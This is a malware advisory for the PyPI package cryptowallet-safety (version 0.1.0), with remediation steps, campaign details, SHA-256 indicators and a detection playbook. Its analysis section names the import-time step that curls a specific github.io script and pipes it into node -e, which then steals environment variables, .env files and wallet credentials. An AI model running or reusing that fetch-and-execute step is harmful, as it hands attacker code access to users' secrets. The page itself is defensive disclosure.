Which versions of cryptowallet-safety are malicious?

The following PyPI versions of cryptowallet-safety are flagged malicious: 0.1.0. Treat any of these as compromised.

How do I remediate cryptowallet-safety if I installed it?

cryptowallet-safety is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed cryptowallet-safety — how do I know if it already compromised me?

If cryptowallet-safety was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is cryptowallet-safety part of a known attack campaign?

Yes — cryptowallet-safety is associated with the 2026-05-eth-security-auditor, IN-MAL-2026-004255 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cryptowallet-safety across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for cryptowallet-safety (version 0.1.0).

Malicious package

cryptowallet-safetyPyPI

Advisory published May 22, 2026Updated May 26, 2026

cryptowallet-safety is a confirmed malicious PyPI package (MAL-2026-4259) that steals credentials and exfiltrates sensitive data (malicious version 0.1.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in cryptowallet-safety (PyPI)

MAL-2026-4259

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall cryptowallet-safety

What this malware does

On import cryptowallet_safety, the top-level __init__.py (lines 13-21) shells out to curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js and pipes the response body directly into node -e for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as pip download / pip wheel / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

files-exfiltration
exfiltration-env-variables
crypto-related
Downloads and executes a remote malicious script.
exfiltration-crypto
exfiltration-credentials

Malicious versions

1 flagged

0.1.0

Indicators of compromise (SHA-256)

cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f

3a4d7d7edd75dd9ba680a5a745dd9cfb9a6807ba1402568cbfee14ac2a2b6f1c

276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for cryptowallet-safety (version 0.1.0).
If you installed it — respond
cryptowallet-safety is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cryptowallet-safety was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. cryptowallet-safety on PyPI has been identified as a malicious package (version 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-05-eth-security-auditorIN-MAL-2026-004255

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks cryptowallet-safety-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database